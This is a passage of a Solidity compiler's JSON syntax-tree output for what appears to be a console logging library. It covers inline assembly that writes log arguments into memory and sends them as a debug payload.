22","nodeType":"YulLiteral","src":"324853:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"324847:5:22","nodeType":"YulIdentifier","src":"324847:5:22"},"nativeSrc":"324847:12:22","nodeType":"YulFunctionCall","src":"324847:12:22"},"variableNames":[{"name":"m9","nativeSrc":"324841:2:22","nodeType":"YulIdentifier","src":"324841:2:22"}]},{"nativeSrc":"324872:19:22","nodeType":"YulAssignment","src":"324872:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"324885:5:22","nodeType":"YulLiteral","src":"324885:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"324879:5:22","nodeType":"YulIdentifier","src":"324879:5:22"},"nativeSrc":"324879:12:22","nodeType":"YulFunctionCall","src":"324879:12:22"},"variableNames":[{"name":"m10","nativeSrc":"324872:3:22","nodeType":"YulIdentifier","src":"324872:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"324975:4:22","nodeType":"YulLiteral","src":"324975:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"324981:10:22","nodeType":"YulLiteral","src":"324981:10:22","type":"","value":"0x245986f2"}],"functionName":{"name":"mstore","nativeSrc":"324968:6:22","nodeType":"YulIdentifier","src":"324968:6:22"},"nativeSrc":"324968:24:22","nodeType":"YulFunctionCall","src":"324968:24:22"},"nativeSrc":"324968:24:22","nodeType":"YulExpressionStatement","src":"324968:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325012:4:22","nodeType":"YulLiteral","src":"325012:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"325018:4:22","nodeType":"YulLiteral","src":"325018:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"325005:6:22","nodeType":"YulIdentifier","src":"325005:6:22"},"nativeSrc":"325005:18:22","nodeType":"YulFunctionCall","src":"325005:18:22"},"nativeSrc":"325005:18:22","nodeType":"YulExpressionStatement","src":"325005:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325043:4:22","nodeType":"YulLiteral","src":"325043:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"325049:2:22","nodeType":"YulIdentifier","src":"325049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325036:6:22","nodeType":"YulIdentifier","src":"325036:6:22"},"nativeSrc":"325036:16:22","nodeType":"YulFunctionCall","src":"325036:16:22"},"nativeSrc":"325036:16:22","nodeType":"YulExpressionStatement","src":"325036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325072:4:22","nodeType":"YulLiteral","src":"325072:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"325078:4:22","nodeType":"YulLiteral","src":"325078:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"325065:6:22","nodeType":"YulIdentifier","src":"325065:6:22"},"nativeSrc":"325065:18:22","nodeType":"YulFunctionCall","src":"325065:18:22"},"nativeSrc":"325065:18:22","nodeType":"YulExpressionStatement","src":"325065:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325103:4:22","nodeType":"YulLiteral","src":"325103:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"325109:5:22","nodeType":"YulLiteral","src":"325109:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"325096:6:22","nodeType":"YulIdentifier","src":"325096:6:22"},"nativeSrc":"325096:19:22","nodeType":"YulFunctionCall","src":"325096:19:22"},"nativeSrc":"325096:19:22","nodeType":"YulExpressionStatement","src":"325096:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325140:4:22","nodeType":"YulLiteral","src":"325140:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"325146:2:22","nodeType":"YulIdentifier","src":"325146:2:22"}],"functionName":{"name":"writeString","nativeSrc":"325128:11:22","nodeType":"YulIdentifier","src":"325128:11:22"},"nativeSrc":"325128:21:22","nodeType":"YulFunctionCall","src":"325128:21:22"},"nativeSrc":"325128:21:22","nodeType":"YulExpressionStatement","src":"325128:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325174:4:22","nodeType":"YulLiteral","src":"325174:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"325180:2:22","nodeType":"YulIdentifier","src":"325180:2:22"}],"functionName":{"name":"writeString","nativeSrc":"325162:11:22","nodeType":"YulIdentifier","src":"325162:11:22"},"nativeSrc":"325162:21:22","nodeType":"YulFunctionCall","src":"325162:21:22"},"nativeSrc":"325162:21:22","nodeType":"YulExpressionStatement","src":"325162:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325208:5:22","nodeType":"YulLiteral","src":"325208:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"325215:2:22","nodeType":"YulIdentifier","src":"325215:2:22"}],"functionName":{"name":"writeString","nativeSrc":"325196:11:22","nodeType":"YulIdentifier","src":"325196:11:22"},"nativeSrc":"325196:22:22","nodeType":"YulFunctionCall","src":"325196:22:22"},"nativeSrc":"325196:22:22","nodeType":"YulExpressionStatement","src":"325196:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44386,"isOffset":false,"isSlot":false,"src":"324570:2:22","valueSize":1},{"declaration":44389,"isOffset":false,"isSlot":false,"src":"324600:2:22","valueSize":1},{"declaration":44416,"isOffset":false,"isSlot":false,"src":"324872:3:22","valueSize":1},{"declaration":44392,"isOffset":false,"isSlot":false,"src":"324630:2:22","valueSize":1},{"declaration":44395,"isOffset":false,"isSlot":false,"src":"324660:2:22","valueSize":1},{"declaration":44398,"isOffset":false,"isSlot":false,"src":"324690:2:22","valueSize":1},{"declaration":44401,"isOffset":false,"isSlot":false,"src":"324720:2:22","valueSize":1},{"declaration":44404,"isOffset":false,"isSlot":false,"src":"324750:2:22","valueSize":1},{"declaration":44407,"isOffset":false,"isSlot":false,"src":"324780:2:22","valueSize":1},{"declaration":44410,"isOffset":false,"isSlot":false,"src":"324810:2:22","valueSize":1},{"declaration":44413,"isOffset":false,"isSlot":false,"src":"324841:2:22","valueSize":1},{"declaration":44376,"isOffset":false,"isSlot":false,"src":"325146:2:22","valueSize":1},{"declaration":44378,"isOffset":false,"isSlot":false,"src":"325049:2:22","valueSize":1},{"declaration":44380,"isOffset":false,"isSlot":false,"src":"325180:2:22","valueSize":1},{"declaration":44382,"isOffset":false,"isSlot":false,"src":"325215:2:22","valueSize":1}],"id":44418,"nodeType":"InlineAssembly","src":"324192:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44420,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"325253:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":44421,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"325259:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":44419,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"325237:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"325237:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44423,"nodeType":"ExpressionStatement","src":"325237:28:22"},{"AST":{"nativeSrc":"325284:334:22","nodeType":"YulBlock","src":"325284:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"325305:4:22","nodeType":"YulLiteral","src":"325305:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"325311:2:22","nodeType":"YulIdentifier","src":"325311:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325298:6:22","nodeType":"YulIdentifier","src":"325298:6:22"},"nativeSrc":"325298:16:22","nodeType":"YulFunctionCall","src":"325298:16:22"},"nativeSrc":"325298:16:22","nodeType":"YulExpressionStatement","src":"325298:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325334:4:22","nodeType":"YulLiteral","src":"325334:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"325340:2:22","nodeType":"YulIdentifier","src":"325340:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325327:6:22","nodeType":"YulIdentifier","src":"325327:6:22"},"nativeSrc":"325327:16:22","nodeType":"YulFunctionCall","src":"325327:16:22"},"nativeSrc":"325327:16:22","nodeType":"YulExpressionStatement","src":"325327:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325363:4:22","nodeType":"YulLiteral","src":"325363:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"325369:2:22","nodeType":"YulIdentifier","src":"325369:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325356:6:22","nodeType":"YulIdentifier","src":"325356:6:22"},"nativeSrc":"325356:16:22","nodeType":"YulFunctionCall","src":"325356:16:22"},"nativeSrc":"325356:16:22","nodeType":"YulExpressionStatement","src":"325356:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325392:4:22","nodeType":"YulLiteral","src":"325392:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"325398:2:22","nodeType":"YulIdentifier","src":"325398:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325385:6:22","nodeType":"YulIdentifier","src":"325385:6:22"},"nativeSrc":"325385:16:22","nodeType":"YulFunctionCall","src":"325385:16:22"},"nativeSrc":"325385:16:22","nodeType":"YulExpressionStatement","src":"325385:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325421:4:22","nodeType":"YulLiteral","src":"325421:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"325427:2:22","nodeType":"YulIdentifier","src":"325427:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325414:6:22","nodeType":"YulIdentifier","src":"325414:6:22"},"nativeSrc":"325414:16:22","nodeType":"YulFunctionCall","src":"325414:16:22"},"nativeSrc":"325414:16:22","nodeType":"YulExpressionStatement","src":"325414:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325450:4:22","nodeType":"YulLiteral","src":"325450:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"325456:2:22","nodeType":"YulIdentifier","src":"325456:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325443:6:22","nodeType":"YulIdentifier","src":"325443:6:22"},"nativeSrc":"325443:16:22","nodeType":"YulFunctionCall","src":"325443:16:22"},"nativeSrc":"325443:16:22","nodeType":"YulExpressionStatement","src":"325443:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325479:4:22","nodeType":"YulLiteral","src":"325479:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"325485:2:22","nodeType":"YulIdentifier","src":"325485:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325472:6:22","nodeType":"YulIdentifier","src":"325472:6:22"},"nativeSrc":"325472:16:22","nodeType":"YulFunctionCall","src":"325472:16:22"},"nativeSrc":"325472:16:22","nodeType":"YulExpressionStatement","src":"325472:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325508:4:22","nodeType":"YulLiteral","src":"325508:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"325514:2:22","nodeType":"YulIdentifier","src":"325514:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325501:6:22","nodeType":"YulIdentifier","src":"325501:6:22"},"nativeSrc":"325501:16:22","nodeType":"YulFunctionCall","src":"325501:16:22"},"nativeSrc":"325501:16:22","nodeType":"YulExpressionStatement","src":"325501:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325537:5:22","nodeType":"YulLiteral","src":"325537:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"325544:2:22","nodeType":"YulIdentifier","src":"325544:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325530:6:22","nodeType":"YulIdentifier","src":"325530:6:22"},"nativeSrc":"325530:17:22","nodeType":"YulFunctionCall","src":"325530:17:22"},"nativeSrc":"325530:17:22","nodeType":"YulExpressionStatement","src":"325530:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325567:5:22","nodeType":"YulLiteral","src":"325567:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"325574:2:22","nodeType":"YulIdentifier","src":"325574:2:22"}],"functionName":{"name":"mstore","nativeSrc":"325560:6:22","nodeType":"YulIdentifier","src":"325560:6:22"},"nativeSrc":"325560:17:22","nodeType":"YulFunctionCall","src":"325560:17:22"},"nativeSrc":"325560:17:22","nodeType":"YulExpressionStatement","src":"325560:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"325597:5:22","nodeType":"YulLiteral","src":"325597:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"325604:3:22","nodeType":"YulIdentifier","src":"325604:3:22"}],"functionName":{"name":"mstore","nativeSrc":"325590:6:22","nodeType":"YulIdentifier","src":"325590:6:22"},"nativeSrc":"325590:18:22","nodeType":"YulFunctionCall","src":"325590:18:22"},"nativeSrc":"325590:18:22","nodeType":"YulExpressionStatement","src":"325590:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44386,"isOffset":false,"isSlot":false,"src":"325311:2:22","valueSize":1},{"declaration":44389,"isOffset":false,"isSlot":false,"src":"325340:2:22","valueSize":1},{"declaration":44416,"isOffset":false,"isSlot":false,"src":"325604:3:22","valueSize":1},{"declaration":44392,"isOffset":false,"isSlot":false,"src":"325369:2:22","valueSize":1},{"declaration":44395,"isOffset":false,"isSlot":false,"src":"325398:2:22","valueSize":1},{"declaration":44398,"isOffset":false,"isSlot":false,"src":"325427:2:22","valueSize":1},{"declaration":44401,"isOffset":false,"isSlot":false,"src":"325456:2:22","valueSize":1},{"declaration":44404,"isOffset":false,"isSlot":false,"src":"325485:2:22","valueSize":1},{"declaration":44407,"isOffset":false,"isSlot":false,"src":"325514:2:22","valueSize":1},{"declaration":44410,"isOffset":false,"isSlot":false,"src":"325544:2:22","valueSize":1},{"declaration":44413,"isOffset":false,"isSlot":false,"src":"325574:2:22","valueSize":1}],"id":44424,"nodeType":"InlineAssembly","src":"325275:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"323895:3:22","parameters":{"id":44383,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44376,"mutability":"mutable","name":"p0","nameLocation":"323907:2:22","nodeType":"VariableDeclaration","scope":44426,"src":"323899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44375,"name":"bytes32","nodeType":"ElementaryTypeName","src":"323899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44378,"mutability":"mutable","name":"p1","nameLocation":"323919:2:22","nodeType":"VariableDeclaration","scope":44426,"src":"323911:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44377,"name":"address","nodeType":"ElementaryTypeName","src":"323911:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44380,"mutability":"mutable","name":"p2","nameLocation":"323931:2:22","nodeType":"VariableDeclaration","scope":44426,"src":"323923:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44379,"name":"bytes32","nodeType":"ElementaryTypeName","src":"323923:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44382,"mutability":"mutable","name":"p3","nameLocation":"323943:2:22","nodeType":"VariableDeclaration","scope":44426,"src":"323935:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44381,"name":"bytes32","nodeType":"ElementaryTypeName","src":"323935:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"323898:48:22"},"returnParameters":{"id":44384,"nodeType":"ParameterList","parameters":[],"src":"323961:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44466,"nodeType":"FunctionDefinition","src":"325630:1334:22","nodes":[],"body":{"id":44465,"nodeType":"Block","src":"325702:1262:22","nodes":[],"statements":[{"assignments":[44438],"declarations":[{"constant":false,"id":44438,"mutability":"mutable","name":"m0","nameLocation":"325720:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325712:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44437,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325712:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44439,"nodeType":"VariableDeclarationStatement","src":"325712:10:22"},{"assignments":[44441],"declarations":[{"constant":false,"id":44441,"mutability":"mutable","name":"m1","nameLocation":"325740:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325732:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44440,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325732:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44442,"nodeType":"VariableDeclarationStatement","src":"325732:10:22"},{"assignments":[44444],"declarations":[{"constant":false,"id":44444,"mutability":"mutable","name":"m2","nameLocation":"325760:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325752:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44443,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325752:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44445,"nodeType":"VariableDeclarationStatement","src":"325752:10:22"},{"assignments":[44447],"declarations":[{"constant":false,"id":44447,"mutability":"mutable","name":"m3","nameLocation":"325780:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325772:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44446,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325772:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44448,"nodeType":"VariableDeclarationStatement","src":"325772:10:22"},{"assignments":[44450],"declarations":[{"constant":false,"id":44450,"mutability":"mutable","name":"m4","nameLocation":"325800:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325792:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44449,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325792:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44451,"nodeType":"VariableDeclarationStatement","src":"325792:10:22"},{"assignments":[44453],"declarations":[{"constant":false,"id":44453,"mutability":"mutable","name":"m5","nameLocation":"325820:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325812:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44452,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325812:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44454,"nodeType":"VariableDeclarationStatement","src":"325812:10:22"},{"assignments":[44456],"declarations":[{"constant":false,"id":44456,"mutability":"mutable","name":"m6","nameLocation":"325840:2:22","nodeType":"VariableDeclaration","scope":44465,"src":"325832:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44455,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325832:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44457,"nodeType":"VariableDeclarationStatement","src":"325832:10:22"},{"AST":{"nativeSrc":"325861:828:22","nodeType":"YulBlock","src":"325861:828:22","statements":[{"body":{"nativeSrc":"325904:313:22","nodeType":"YulBlock","src":"325904:313:22","statements":[{"nativeSrc":"325922:15:22","nodeType":"YulVariableDeclaration","src":"325922:15:22","value":{"kind":"number","nativeSrc":"325936:1:22","nodeType":"YulLiteral","src":"325936:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"325926:6:22","nodeType":"YulTypedName","src":"325926:6:22","type":""}]},{"body":{"nativeSrc":"326007:40:22","nodeType":"YulBlock","src":"326007:40:22","statements":[{"body":{"nativeSrc":"326036:9:22","nodeType":"YulBlock","src":"326036:9:22","statements":[{"nativeSrc":"326038:5:22","nodeType":"YulBreak","src":"326038:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"326024:6:22","nodeType":"YulIdentifier","src":"326024:6:22"},{"name":"w","nativeSrc":"326032:1:22","nodeType":"YulIdentifier","src":"326032:1:22"}],"functionName":{"name":"byte","nativeSrc":"326019:4:22","nodeType":"YulIdentifier","src":"326019:4:22"},"nativeSrc":"326019:15:22","nodeType":"YulFunctionCall","src":"326019:15:22"}],"functionName":{"name":"iszero","nativeSrc":"326012:6:22","nodeType":"YulIdentifier","src":"326012:6:22"},"nativeSrc":"326012:23:22","nodeType":"YulFunctionCall","src":"326012:23:22"},"nativeSrc":"326009:36:22","nodeType":"YulIf","src":"326009:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"325964:6:22","nodeType":"YulIdentifier","src":"325964:6:22"},{"kind":"number","nativeSrc":"325972:4:22","nodeType":"YulLiteral","src":"325972:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"325961:2:22","nodeType":"YulIdentifier","src":"325961:2:22"},"nativeSrc":"325961:16:22","nodeType":"YulFunctionCall","src":"325961:16:22"},"nativeSrc":"325954:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"325978:28:22","nodeType":"YulBlock","src":"325978:28:22","statements":[{"nativeSrc":"325980:24:22","nodeType":"YulAssignment","src":"325980:24:22","value":{"arguments":[{"name":"length","nativeSrc":"325994:6:22","nodeType":"YulIdentifier","src":"325994:6:22"},{"kind":"number","nativeSrc":"326002:1:22","nodeType":"YulLiteral","src":"326002:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"325990:3:22","nodeType":"YulIdentifier","src":"325990:3:22"},"nativeSrc":"325990:14:22","nodeType":"YulFunctionCall","src":"325990:14:22"},"variableNames":[{"name":"length","nativeSrc":"325980:6:22","nodeType":"YulIdentifier","src":"325980:6:22"}]}]},"pre":{"nativeSrc":"325958:2:22","nodeType":"YulBlock","src":"325958:2:22","statements":[]},"src":"325954:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"326071:3:22","nodeType":"YulIdentifier","src":"326071:3:22"},{"name":"length","nativeSrc":"326076:6:22","nodeType":"YulIdentifier","src":"326076:6:22"}],"functionName":{"name":"mstore","nativeSrc":"326064:6:22","nodeType":"YulIdentifier","src":"326064:6:22"},"nativeSrc":"326064:19:22","nodeType":"YulFunctionCall","src":"326064:19:22"},"nativeSrc":"326064:19:22","nodeType":"YulExpressionStatement","src":"326064:19:22"},{"nativeSrc":"326100:37:22","nodeType":"YulVariableDeclaration","src":"326100:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"326117:3:22","nodeType":"YulLiteral","src":"326117:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"326126:1:22","nodeType":"YulLiteral","src":"326126:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"326129:6:22","nodeType":"YulIdentifier","src":"326129:6:22"}],"functionName":{"name":"shl","nativeSrc":"326122:3:22","nodeType":"YulIdentifier","src":"326122:3:22"},"nativeSrc":"326122:14:22","nodeType":"YulFunctionCall","src":"326122:14:22"}],"functionName":{"name":"sub","nativeSrc":"326113:3:22","nodeType":"YulIdentifier","src":"326113:3:22"},"nativeSrc":"326113:24:22","nodeType":"YulFunctionCall","src":"326113:24:22"},"variables":[{"name":"shift","nativeSrc":"326104:5:22","nodeType":"YulTypedName","src":"326104:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"326165:3:22","nodeType":"YulIdentifier","src":"326165:3:22"},{"kind":"number","nativeSrc":"326170:4:22","nodeType":"YulLiteral","src":"326170:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"326161:3:22","nodeType":"YulIdentifier","src":"326161:3:22"},"nativeSrc":"326161:14:22","nodeType":"YulFunctionCall","src":"326161:14:22"},{"arguments":[{"name":"shift","nativeSrc":"326181:5:22","nodeType":"YulIdentifier","src":"326181:5:22"},{"arguments":[{"name":"shift","nativeSrc":"326192:5:22","nodeType":"YulIdentifier","src":"326192:5:22"},{"name":"w","nativeSrc":"326199:1:22","nodeType":"YulIdentifier","src":"326199:1:22"}],"functionName":{"name":"shr","nativeSrc":"326188:3:22","nodeType":"YulIdentifier","src":"326188:3:22"},"nativeSrc":"326188:13:22","nodeType":"YulFunctionCall","src":"326188:13:22"}],"functionName":{"name":"shl","nativeSrc":"326177:3:22","nodeType":"YulIdentifier","src":"326177:3:22"},"nativeSrc":"326177:25:22","nodeType":"YulFunctionCall","src":"326177:25:22"}],"functionName":{"name":"mstore","nativeSrc":"326154:6:22","nodeType":"YulIdentifier","src":"326154:6:22"},"nativeSrc":"326154:49:22","nodeType":"YulFunctionCall","src":"326154:49:22"},"nativeSrc":"326154:49:22","nodeType":"YulExpressionStatement","src":"326154:49:22"}]},"name":"writeString","nativeSrc":"325875:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"325896:3:22","nodeType":"YulTypedName","src":"325896:3:22","type":""},{"name":"w","nativeSrc":"325901:1:22","nodeType":"YulTypedName","src":"325901:1:22","type":""}],"src":"325875:342:22"},{"nativeSrc":"326230:17:22","nodeType":"YulAssignment","src":"326230:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326242:4:22","nodeType":"YulLiteral","src":"326242:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"326236:5:22","nodeType":"YulIdentifier","src":"326236:5:22"},"nativeSrc":"326236:11:22","nodeType":"YulFunctionCall","src":"326236:11:22"},"variableNames":[{"name":"m0","nativeSrc":"326230:2:22","nodeType":"YulIdentifier","src":"326230:2:22"}]},{"nativeSrc":"326260:17:22","nodeType":"YulAssignment","src":"326260:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326272:4:22","nodeType":"YulLiteral","src":"326272:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"326266:5:22","nodeType":"YulIdentifier","src":"326266:5:22"},"nativeSrc":"326266:11:22","nodeType":"YulFunctionCall","src":"326266:11:22"},"variableNames":[{"name":"m1","nativeSrc":"326260:2:22","nodeType":"YulIdentifier","src":"326260:2:22"}]},{"nativeSrc":"326290:17:22","nodeType":"YulAssignment","src":"326290:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326302:4:22","nodeType":"YulLiteral","src":"326302:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"326296:5:22","nodeType":"YulIdentifier","src":"326296:5:22"},"nativeSrc":"326296:11:22","nodeType":"YulFunctionCall","src":"326296:11:22"},"variableNames":[{"name":"m2","nativeSrc":"326290:2:22","nodeType":"YulIdentifier","src":"326290:2:22"}]},{"nativeSrc":"326320:17:22","nodeType":"YulAssignment","src":"326320:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326332:4:22","nodeType":"YulLiteral","src":"326332:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"326326:5:22","nodeType":"YulIdentifier","src":"326326:5:22"},"nativeSrc":"326326:11:22","nodeType":"YulFunctionCall","src":"326326:11:22"},"variableNames":[{"name":"m3","nativeSrc":"326320:2:22","nodeType":"YulIdentifier","src":"326320:2:22"}]},{"nativeSrc":"326350:17:22","nodeType":"YulAssignment","src":"326350:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326362:4:22","nodeType":"YulLiteral","src":"326362:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"326356:5:22","nodeType":"YulIdentifier","src":"326356:5:22"},"nativeSrc":"326356:11:22","nodeType":"YulFunctionCall","src":"326356:11:22"},"variableNames":[{"name":"m4","nativeSrc":"326350:2:22","nodeType":"YulIdentifier","src":"326350:2:22"}]},{"nativeSrc":"326380:17:22","nodeType":"YulAssignment","src":"326380:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"326392:4:22","nodeType":"YulLiteral","src":"326392:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"326386:5:22","nodeType":"YulIdentifier","src":"326386:5:22"},"nativeSrc":"326386:11:22","nodeType":"YulFunctionCall","src":"326386:11:22"},"variableNames":[{"name":"m5","nativeSrc":"326380:2:22","nodeType":"YulIdentifier","src":"326380:2:22"}]},{"nativeSrc":"326410:17:22","nodeType":"YulAssignment","src":"326410:17:22","value":{"